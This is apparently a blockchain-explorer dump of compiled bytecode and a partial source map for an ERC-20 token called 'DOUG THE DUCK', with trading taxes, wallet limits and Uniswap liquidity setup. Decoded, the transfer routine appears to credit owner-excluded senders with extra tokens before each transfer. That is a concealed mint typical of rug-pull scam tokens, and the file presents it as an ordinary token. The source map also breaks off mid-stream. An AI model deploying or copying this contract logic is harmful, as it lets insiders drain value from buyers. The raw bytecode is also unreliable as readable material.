0x6080604052600436106101185760003560e01c80637d1db4a5116100a0578063bf474bed11610064578063bf474bed146102c2578063c876d0b9146102d7578063c9567bf9146102ec578063dd62ed3e14610301578063ed995307146103215761011f565b80637d1db4a5146102415780638da5cb5b146102565780638f9a55c01461027857806395d89b411461028d578063a9059cbb146102a25761011f565b806323b872dd116100e757806323b872dd146101b3578063313ce567146101d357806370a08231146101f5578063715018a614610215578063751039fc1461022c5761011f565b806306fdde0314610124578063095ea7b31461014f5780630faee56f1461017c57806318160ddd1461019e5761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610336565b604051610146919061163d565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004611538565b61035d565b6040516101469190611632565b34801561018857600080fd5b5061019161037b565b60405161014691906119df565b3480156101aa57600080fd5b50610191610381565b3480156101bf57600080fd5b5061016f6101ce3660046114f8565b6103a2565b3480156101df57600080fd5b506101e861042a565b6040516101469190611a58565b34801561020157600080fd5b50610191610210366004611488565b61042f565b34801561022157600080fd5b5061022a61044a565b005b34801561023857600080fd5b5061022a6104d2565b34801561024d57600080fd5b5061019161059d565b34801561026257600080fd5b5061026b6105a3565b60405161014691906115b0565b34801561028457600080fd5b506101916105b2565b34801561029957600080fd5b506101396105b8565b3480156102ae57600080fd5b5061016f6102bd366004611538565b6105d6565b3480156102ce57600080fd5b506101916105ea565b3480156102e357600080fd5b5061016f6105f0565b3480156102f857600080fd5b5061022a6105f9565b34801561030d57600080fd5b5061019161031c3660046114c0565b61067c565b34801561032d57600080fd5b5061022a6106a7565b60408051808201909152600d81526c444f554720544845204455434b60981b602082015290565b600061037161036a610a1e565b8484610a22565b5060015b92915050565b600a5481565b600061038f6009600a611ae4565b61039d90633b9aca00611bb5565b905090565b60006103af848484610ad6565b61041f846103bb610a1e565b61041a85604051806060016040528060288152602001611c32602891396001600160a01b038a166000908152600260205260408120906103f9610a1e565b6001600160a01b031681526020810191909152604001600020549190610f92565b610a22565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b610452610a1e565b6000546001600160a01b039081169116146104885760405162461bcd60e51b815260040161047f9061186a565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104da610a1e565b6000546001600160a01b039081169116146105075760405162461bcd60e51b815260040161047f9061186a565b6105136009600a611ae4565b61052190633b9aca00611bb5565b6008556105306009600a611ae4565b61053e90633b9aca00611bb5565b600b556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105786009600a611ae4565b61058690633b9aca00611bb5565b60405161059391906119df565b60405180910390a1565b60085481565b6000546001600160a01b031690565b600b5481565b604080518082019091526004815263444f554760e01b602082015290565b60006103716105e3610a1e565b8484610ad6565b60095481565b60065460ff1681565b610601610a1e565b6000546001600160a01b0390811691161461062e5760405162461bcd60e51b815260040161047f9061186a565b601554600160a01b900460ff16156106585760405162461bcd60e51b815260040161047f906119a8565b6015805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6106af610a1e565b6000546001600160a01b039081169116146106dc5760405162461bcd60e51b815260040161047f9061186a565b601554600160a01b900460ff16156107065760405162461bcd60e51b815260040161047f906119a8565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556107579030906001600160a01b03166107496009600a611ae4565b61041a90633b9aca00611bb5565b601460009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a557600080fd5b505afa1580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd91906114a4565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561083a57600080fd5b505afa15801561084e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087291906114a4565b6040518363ffffffff1660e01b815260040161088f9291906115c4565b602060405180830381600087803b1580156108a957600080fd5b505af11580156108bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e191906114a4565b601580546001600160a01b0319166001600160a01b0392831617905560145460075491169063f305d719904790309060008061091b6105a3565b426040518863ffffffff1660e01b815260040161093d969594939291906115f7565b6060604051808303818588803b15801561095657600080fd5b505af115801561096a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098f9190611583565b505060155460145460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b3926109c9921690600019906004016115de565b602060405180830381600087803b1580156109e357600080fd5b505af11580156109f7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1b9190611563565b50565b3390565b6001600160a01b038316610a485760405162461bcd60e51b815260040161047f90611964565b6001600160a01b038216610a6e5760405162461bcd60e51b815260040161047f9061170a565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610ac99085906119df565b60405180910390a3505050565b6001600160a01b038316610afc5760405162461bcd60e51b815260040161047f906118e8565b6001600160a01b038216610b225760405162461bcd60e51b815260040161047f90611690565b60008111610b425760405162461bcd60e51b815260040161047f9061189f565b601554600160a01b900460ff16610bae576001600160a01b03831660009081526003602052604090205460ff1680610b9257506001600160a01b03821660009081526003602052604090205460ff165b610bae5760405162461bcd60e51b815260040161047f9061174c565b601554600160b01b900460ff161580610bd05750601554600160a81b900460ff165b15610c86576001600160a01b038316600090815260016020526040902054610bf89082610fcc565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c27908261100e565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c799085906119df565b60405180910390a3610f8d565b6000610c906105a3565b6001600160a01b0316846001600160a01b031614158015610cca5750610cb46105a3565b6001600160a01b0316836001600160a01b031614155b15610f7f57610cfb6064610cf560105460135411610cea57600c54610cee565b600e545b859061103d565b90611082565b60065490915060ff1615610d7b576014546001600160a01b03848116911614801590610d3557506015546001600160a01b03848116911614155b15610d7b57326000908152600560205260409020544311610d685760405162461bcd60e51b815260040161047f906117ba565b3260009081526005602052604090204390555b6015546001600160a01b038581169116148015610da657506014546001600160a01b03848116911614155b8015610dcb57506001600160a01b03831660009081526003602052604090205460ff16155b15610e3d57600854821115610df25760405162461bcd60e51b815260040161047f906116d3565b600b5482610dff8561042f565b610e099190611a66565b1115610e275760405162461bcd60e51b815260040161047f9061192d565b60138054906000610e3783611beb565b91905055505b6015546001600160a01b038481169116148015610e6357506001600160a01b0384163014155b15610e9057610e8d6064610cf560115460135411610e8357600d54610cee565b600f54859061103d565b90505b610e9a8183611a66565b6016556000610ea83061042f565b601554909150600160a81b900460ff16158015610ed257506015546001600160a01b038581169116145b8015610ee75750601554600160b01b900460ff165b8015610ef65750601254601354115b8015610f1b57506001600160a01b03851660009081526003602052604090205460ff16155b8015610f4057506001600160a01b03841660009081526003602052604090205460ff16155b15610f7d5760095481118015610f6d57610f6d610f6885610f6385600a546110c4565b6110c4565b6110d9565b476001610f794761127e565b5050505b505b610f8b848484846112c0565b505b505050565b60008184841115610fb65760405162461bcd60e51b815260040161047f919061163d565b506000610fc38486611bd4565b95945050505050565b600061042383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f92565b60008061101b8385611a66565b9050838110156104235760405162461bcd60e51b815260040161047f90611783565b60008261104c57506000610375565b60006110588385611bb5565b9050826110658583611a7e565b146104235760405162461bcd60e51b815260040161047f90611829565b600061042383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611318565b60008183116110d35782610423565b50919050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061112f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118357600080fd5b505afa158015611197573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111bb91906114a4565b816001815181106111dc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546112029130911684610a22565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061123b9085906000908690309042906004016119e8565b600060405180830381600087803b15801561125557600080fd5b505af1158015611269573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156112bc573d6000803e3d6000fd5b5050565b6001600160a01b03841660009081526003602052604090205460ff1680156112f4576112ef3086601654611346565b611305565b811561130557611305853084611346565b611311858585856113bb565b5050505050565b600081836113395760405162461bcd60e51b815260040161047f919061163d565b506000610fc38486611a7e565b6001600160a01b038216600090815260016020526040902054611369908261100e565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ac99085906119df565b6001600160a01b0384166000908152600160205260409020546113de9083610fcc565b6001600160a01b0385166000908152600160205260409020556114236114048383610fcc565b6001600160a01b0385166000908152600160205260409020549061100e565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61146d8585610fcc565b60405161147a91906119df565b60405180910390a350505050565b600060208284031215611499578081fd5b813561042381611c1c565b6000602082840312156114b5578081fd5b815161042381611c1c565b600080604083850312156114d2578081fd5b82356114dd81611c1c565b915060208301356114ed81611c1c565b809150509250929050565b60008060006060848603121561150c578081fd5b833561151781611c1c565b9250602084013561152781611c1c565b929592945050506040919091013590565b6000806040838503121561154a578182fd5b823561155581611c1c565b946020939093013593505050565b600060208284031215611574578081fd5b81518015158114610423578182fd5b600080600060608486031215611597578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156116695785810183015185820160400152820161164d565b8181111561167a5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526019908201527f74726164696e6720686173206e6f74206f70656e207965742e00000000000000604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a375784516001600160a01b031683529383019391830191600101611a12565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b60008219821115611a7957611a79611c06565b500190565b600082611a9957634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611ab05750611adb565b818704821115611ac257611ac2611c06565b80861615611acf57918102915b9490941c938002611aa1565b94509492505050565b600061042360001960ff851684600082611b0057506001610423565b81611b0d57506000610423565b8160018114611b235760028114611b2d57611b5a565b6001915050610423565b60ff841115611b3e57611b3e611c06565b6001841b915084821115611b5457611b54611c06565b50610423565b5060208310610133831016604e8410600b8410161715611b8d575081810a83811115611b8857611b88611c06565b610423565b611b9a8484846001611a9e565b808604821115611bac57611bac611c06565b02949350505050565b6000816000190483118215151615611bcf57611bcf611c06565b500290565b600082821015611be657611be6611c06565b500390565b6000600019821415611bff57611bff611c06565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610a1b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220daa2b3cd80bede5f90845def88c9ba1c34ffc7ed3b42f61e0f0a410e8bceeed864736f6c63430008000033

Deployed Bytecode Sourcemap

3859:10187:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6727:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7610:186;;;;;;;;;;-1:-1:-1;7610:186:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;4754:57::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;7004:95::-;;;;;;;;;;;;;:::i;7804:446::-;;;;;;;;;;-1:-1:-1;7804:446:0;;;;;:::i;:::-;;:::i;6913:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;7107:119::-;;;;;;;;;;-1:-1:-1;7107:119:0;;;;;:::i;:::-;;:::i;3704:148::-;;;;;;;;;;;;;:::i;:::-;;13528:201;;;;;;;;;;;;;:::i;4626:58::-;;;;;;;;;;;;;:::i;3490:79::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4818:60::-;;;;;;;;;;;;;:::i;6818:87::-;;;;;;;;;;;;;:::i;7234:192::-;;;;;;;;;;-1:-1:-1;7234:192:0;;;;;:::i;:::-;;:::i;4691:56::-;;;;;;;;;;;;;:::i;4243:40::-;;;;;;;;;;;;;:::i;13837:169::-;;;;;;;;;;;;;:::i;7434:168::-;;;;;;;;;;-1:-1:-1;7434:168:0;;;;;:::i;:::-;;:::i;5955:764::-;;;;;;;;;;;;;:::i;6727:83::-;6797:5;;;;;;;;;;;;-1:-1:-1;;;6797:5:0;;;;6727:83;:::o;7610:186::-;7710:4;7727:39;7736:12;:10;:12::i;:::-;7750:7;7759:6;7727:8;:39::i;:::-;-1:-1:-1;7784:4:0;7610:186;;;;;:::o;4754:57::-;;;;:::o;7004:95::-;7057:7;4427:15;4368:1;4427:2;:15;:::i;:::-;4411:31;;:13;:31;:::i;:::-;7077:14;;7004:95;:::o;7804:446::-;7936:4;7953:36;7963:6;7971:9;7982:6;7953:9;:36::i;:::-;8000:220;8023:6;8044:12;:10;:12::i;:::-;8071:138;8127:6;8071:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8071:19:0;;;;;;:11;:19;;;;;;8091:12;:10;:12::i;:::-;-1:-1:-1;;;;;8071:33:0;;;;;;;;;;;;-1:-1:-1;8071:33:0;;;:138;:37;:138::i;:::-;8000:8;:220::i;:::-;-1:-1:-1;8238:4:0;7804:446;;;;;;:::o;6913:83::-;4368:1;6913:83;:::o;7107:119::-;-1:-1:-1;;;;;7200:18:0;7173:7;7200:18;;;:9;:18;;;;;;;7107:119::o;3704:148::-;3627:12;:10;:12::i;:::-;3617:6;;-1:-1:-1;;;;;3617:6:0;;;:22;;;3609:67;;;;-1:-1:-1;;;3609:67:0;;;;;;;:::i;:::-;;;;;;;;;3811:1:::1;3795:6:::0;;3774:40:::1;::::0;-1:-1:-1;;;;;3795:6:0;;::::1;::::0;3774:40:::1;::::0;3811:1;;3774:40:::1;3842:1;3825:19:::0;;-1:-1:-1;;;;;;3825:19:0::1;::::0;;3704:148::o;13528:201::-;3627:12;:10;:12::i;:::-;3617:6;;-1:-1:-1;;;;;3617:6:0;;;:22;;;3609:67;;;;-1:-1:-1;;;3609:67:0;;;;;;;:::i;:::-;4427:15:::1;4368:1;4427:2;:15;:::i;:::-;4411:31;::::0;:13:::1;:31;:::i;:::-;13582:12;:22:::0;4427:15:::1;4368:1;4427:2;:15;:::i;:::-;4411:31;::::0;:13:::1;:31;:::i;:::-;13615:14;:24:::0;13650:20:::1;:28:::0;;-1:-1:-1;;13650:28:0::1;::::0;;13694:27:::1;4427:15;4368:1;4427:2;:15;:::i;:::-;4411:31;::::0;:13:::1;:31;:::i;:::-;13694:27;;;;;;:::i;:::-;;;;;;;;13528:201::o:0;4626:58::-;;;;:::o;3490:79::-;3528:7;3555:6;-1:-1:-1;;;;;3555:6:0;3490:79;:::o;4818:60::-;;;;:::o;6818:87::-;6890:7;;;;;;;;;;;;-1:-1:-1;;;6890:7:0;;;;6818:87;:::o;7234:192::-;7337:4;7354:42;7364:12;:10;:12::i;:::-;7378:9;7389:6;7354:9;:42::i;4691:56::-;;;;:::o;4243:40::-;;;;;;:::o;13837:169::-;3627:12;:10;:12::i;:::-;3617:6;;-1:-1:-1;;;;;3617:6:0;;;:22;;;3609:67;;;;-1:-1:-1;;;3609:67:0;;;;;;;:::i;:::-;13899:11:::1;::::0;-1:-1:-1;;;13899:11:0;::::1;;;13898:12;13890:48;;;;-1:-1:-1::0;;;13890:48:0::1;;;;;;;:::i;:::-;13951:11;:18:::0;;-1:-1:-1;;;;;;;;13951:18:0;;::::1;-1:-1:-1::0;;;13951:18:0::1;13980;-1:-1:-1::0;;;13980:18:0::1;::::0;;13837:169::o;7434:168::-;-1:-1:-1;;;;;7567:18:0;;;7540:7;7567:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7434:168::o;5955:764::-;3627:12;:10;:12::i;:::-;3617:6;;-1:-1:-1;;;;;3617:6:0;;;:22;;;3609:67;;;;-1:-1:-1;;;3609:67:0;;;;;;;:::i;:::-;6021:11:::1;::::0;-1:-1:-1;;;6021:11:0;::::1;;;6020:12;6012:48;;;;-1:-1:-1::0;;;6012:48:0::1;;;;;;;:::i;:::-;6073:15;:104:::0;;-1:-1:-1;;;;;;6073:104:0::1;6124:42;6073:104;::::0;;;;6190:58:::1;::::0;6207:4:::1;::::0;-1:-1:-1;;;;;6222:15:0::1;4427;4368:1;4427:2;:15;:::i;:::-;4411:31;::::0;:13:::1;:31;:::i;6190:58::-;6295:15;;;;;;;;;-1:-1:-1::0;;;;;6295:15:0::1;-1:-1:-1::0;;;;;6295:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6277:55:0::1;;6355:4;6375:15;;;;;;;;;-1:-1:-1::0;;;;;6375:15:0::1;-1:-1:-1::0;;;;;6375:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6277:131;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6261:13;:147:::0;;-1:-1:-1;;;;;;6261:147:0::1;-1:-1:-1::0;;;;;6261:147:0;;::::1;;::::0;;6421:15:::1;::::0;6525:7:::1;::::0;6421:15;::::1;::::0;:31:::1;::::0;6460:21:::1;::::0;6505:4:::1;::::0;-1:-1:-1;;6579:7:0::1;:5;:7::i;:::-;6601:15;6421:206;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6647:13:0::1;::::0;6678:15:::1;::::0;6640:71:::1;::::0;-1:-1:-1;;;6640:71:0;;-1:-1:-1;;;;;6647:13:0;;::::1;::::0;-1:-1:-1;6640:29:0::1;::::0;:71:::1;::::0;6678:15:::1;::::0;-1:-1:-1;;6696:14:0;6640:71:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5955:764::o:0;223:98::-;303:10;223:98;:::o;8258:335::-;-1:-1:-1;;;;;8351:19:0;;8343:68;;;;-1:-1:-1;;;8343:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8430:21:0;;8422:68;;;;-1:-1:-1;;;8422:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8501:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;8553:32;;;;;8531:6;;8553:32;:::i;:::-;;;;;;;;8258:335;;;:::o;8601:3328::-;-1:-1:-1;;;;;8689:18:0;;8681:68;;;;-1:-1:-1;;;8681:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8768:16:0;;8760:64;;;;-1:-1:-1;;;8760:64:0;;;;;;;:::i;:::-;8852:1;8843:6;:10;8835:64;;;;-1:-1:-1;;;8835:64:0;;;;;;;:::i;:::-;8924:11;;-1:-1:-1;;;8924:11:0;;;;8920:134;;-1:-1:-1;;;;;8960:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;8989:23:0;;;;;;:19;:23;;;;;;;;8960:52;8952:90;;;;-1:-1:-1;;;8952:90:0;;;;;;;:::i;:::-;9071:11;;-1:-1:-1;;;9071:11:0;;;;9070:12;;:22;;-1:-1:-1;9086:6:0;;-1:-1:-1;;;9086:6:0;;;;9070:22;9066:223;;;-1:-1:-1;;;;;9127:15:0;;;;;;:9;:15;;;;;;:27;;9147:6;9127:19;:27::i;:::-;-1:-1:-1;;;;;9109:15:0;;;;;;;:9;:15;;;;;;:45;;;;9185:13;;;;;;;:25;;9203:6;9185:17;:25::i;:::-;-1:-1:-1;;;;;9169:13:0;;;;;;;:9;:13;;;;;;;:41;;;;9230:26;;;;;;;;;;9249:6;;9230:26;:::i;:::-;;;;;;;;9271:7;;9066:223;9299:17;9343:7;:5;:7::i;:::-;-1:-1:-1;;;;;9335:15:0;:4;-1:-1:-1;;;;;9335:15:0;;;:32;;;;;9360:7;:5;:7::i;:::-;-1:-1:-1;;;;;9354:13:0;:2;-1:-1:-1;;;;;9354:13:0;;;9335:32;9331:2535;;;9396:208;9600:3;9396:181;9460:15;;9448:9;;:27;9447:111;;9544:14;;9447:111;;;9504:12;;9447:111;9396:6;;:28;:181::i;:::-;:203;;:208::i;:::-;9625:20;;9384:220;;-1:-1:-1;9625:20:0;;9621:522;;;9706:15;;-1:-1:-1;;;;;9692:30:0;;;9706:15;;9692:30;;;;:83;;-1:-1:-1;9761:13:0;;-1:-1:-1;;;;;9747:28:0;;;9761:13;;9747:28;;9692:83;9666:462;;;9881:9;9852:39;;;;:28;:39;;;;;;9894:12;-1:-1:-1;9818:213:0;;;;-1:-1:-1;;;9818:213:0;;;;;;;:::i;:::-;10083:9;10054:39;;;;:28;:39;;;;;10096:12;10054:54;;9666:462;10189:13;;-1:-1:-1;;;;;10181:21:0;;;10189:13;;10181:21;:72;;;;-1:-1:-1;10237:15:0;;-1:-1:-1;;;;;10223:30:0;;;10237:15;;10223:30;;10181:72;:117;;;;-1:-1:-1;;;;;;10275:23:0;;;;;;:19;:23;;;;;;;;10274:24;10181:117;10159:439;;;10351:12;;10341:6;:22;;10333:60;;;;-1:-1:-1;;;10333:60:0;;;;;;;:::i;:::-;10468:14;;10458:6;10442:13;10452:2;10442:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;10412:140;;;;-1:-1:-1;;;10412:140:0;;;;;;;:::i;:::-;10571:9;:11;;;:9;:11;;;:::i;:::-;;;;;;10159:439;10624:13;;-1:-1:-1;;;;;10618:19:0;;;10624:13;;10618:19;:44;;;;-1:-1:-1;;;;;;10641:21:0;;10657:4;10641:21;;10618:44;10614:332;;;10695:235;10926:3;10695:204;10767:16;;10755:9;;:28;10754:122;;10861:15;;10754:122;;;10816:13;;10695:6;;:32;:204::i;:235::-;10683:247;;10614:332;10958:18;10967:9;10958:6;:18;:::i;:::-;10947:8;:29;10993:28;11024:24;11042:4;11024:9;:24::i;:::-;11086:6;;10993:55;;-1:-1:-1;;;;11086:6:0;;;;11085:7;:47;;;;-1:-1:-1;11119:13:0;;-1:-1:-1;;;;;11113:19:0;;;11119:13;;11113:19;11085:47;:79;;;;-1:-1:-1;11153:11:0;;-1:-1:-1;;;11153:11:0;;;;11085:79;:130;;;;;11197:18;;11185:9;;:30;11085:130;:177;;;;-1:-1:-1;;;;;;11237:25:0;;;;;;:19;:25;;;;;;;;11236:26;11085:177;:222;;;;-1:-1:-1;;;;;;11284:23:0;;;;;;:19;:23;;;;;;;;11283:24;11085:222;11063:792;;;11380:17;;11357:40;;11416:171;;;;11450:117;11493:51;11497:6;11505:38;11509:20;11531:11;;11505:3;:38::i;:::-;11493:3;:51::i;:::-;11450:16;:117::i;:::-;11652:21;11707:23;11785:35;11798:21;11785:12;:35::i;:::-;11063:792;;;;9331:2535;;11878:43;11893:4;11899:2;11903:6;11911:9;11878:14;:43::i;:::-;8601:3328;;;;;:::o;2292:224::-;2412:7;2448:12;2440:6;;;;2432:29;;;;-1:-1:-1;;;2432:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2472:9:0;2484:5;2488:1;2484;:5;:::i;:::-;2472:17;2292:224;-1:-1:-1;;;;;2292:224:0:o;2148:136::-;2206:7;2233:43;2237:1;2240;2233:43;;;;;;;;;;;;;;;;;:3;:43::i;1961:179::-;2019:7;;2051:5;2055:1;2051;:5;:::i;:::-;2039:17;;2080:1;2075;:6;;2067:46;;;;-1:-1:-1;;;2067:46:0;;;;;;;:::i;2524:246::-;2582:7;2606:6;2602:47;;-1:-1:-1;2636:1:0;2629:8;;2602:47;2659:9;2671:5;2675:1;2671;:5;:::i;:::-;2659:17;-1:-1:-1;2704:1:0;2695:5;2699:1;2659:17;2695:5;:::i;:::-;:10;2687:56;;;;-1:-1:-1;;;2687:56:0;;;;;;;:::i;2778:132::-;2836:7;2863:39;2867:1;2870;2863:39;;;;;;;;;;;;;;;;;:3;:39::i;12922:107::-;12979:7;13011:1;13007;:5;13006:15;;13020:1;13006:15;;;-1:-1:-1;13016:1:0;12922:107;-1:-1:-1;12922:107:0:o;13037:483::-;5532:6;:13;;-1:-1:-1;;;;5532:13:0;-1:-1:-1;;;5532:13:0;;;13139:16:::1;::::0;;13153:1:::1;13139:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13139:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13139:16:0::1;13115:40;;13184:4;13166;13171:1;13166:7;;;;;;-1:-1:-1::0;;;13166:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;13166:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13210:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13210:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13166:7;;13210:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13200:4;13205:1;13200:7;;;;;;-1:-1:-1::0;;;13200:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;13200:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13275:15:::1;::::0;13243:62:::1;::::0;13260:4:::1;::::0;13275:15:::1;13293:11:::0;13243:8:::1;:62::i;:::-;13316:15;::::0;:196:::1;::::0;-1:-1:-1;;;13316:196:0;;-1:-1:-1;;;;;13316:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13397:11;;13316:15:::1;::::0;13439:4;;13466::::1;::::0;13486:15:::1;::::0;13316:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5568:6:0;:14;;-1:-1:-1;;;;5568:14:0;;;-1:-1:-1;;;;13037:483:0:o;13737:92::-;13794:10;;:27;;:10;;;;-1:-1:-1;;;;;13794:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;13737:92;:::o;11937:477::-;-1:-1:-1;;;;;12103:25:0;;12085:15;12103:25;;;:19;:25;;;;;;;;12141:210;;;;12170:43;12191:4;12198;12204:8;;12170:12;:43::i;:::-;12141:210;;;12247:13;;12244:96;;12280:44;12293:4;12307;12314:9;12280:12;:44::i;:::-;12363:43;12378:4;12384:2;12388:6;12396:9;12363:14;:43::i;:::-;11937:477;;;;;:::o;2918:223::-;3038:7;3073:12;3066:5;3058:28;;;;-1:-1:-1;;;3058:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3097:9:0;3109:5;3113:1;3109;:5;:::i;12712:202::-;-1:-1:-1;;;;;12824:16:0;;;;;;:9;:16;;;;;;:31;;12845:9;12824:20;:31::i;:::-;-1:-1:-1;;;;;12805:16:0;;;;;;;:9;:16;;;;;;;:50;;;;12871:35;;;;;;;;;;12896:9;;12871:35;:::i;12422:282::-;-1:-1:-1;;;;;12545:15:0;;;;;;:9;:15;;;;;;:27;;12565:6;12545:19;:27::i;:::-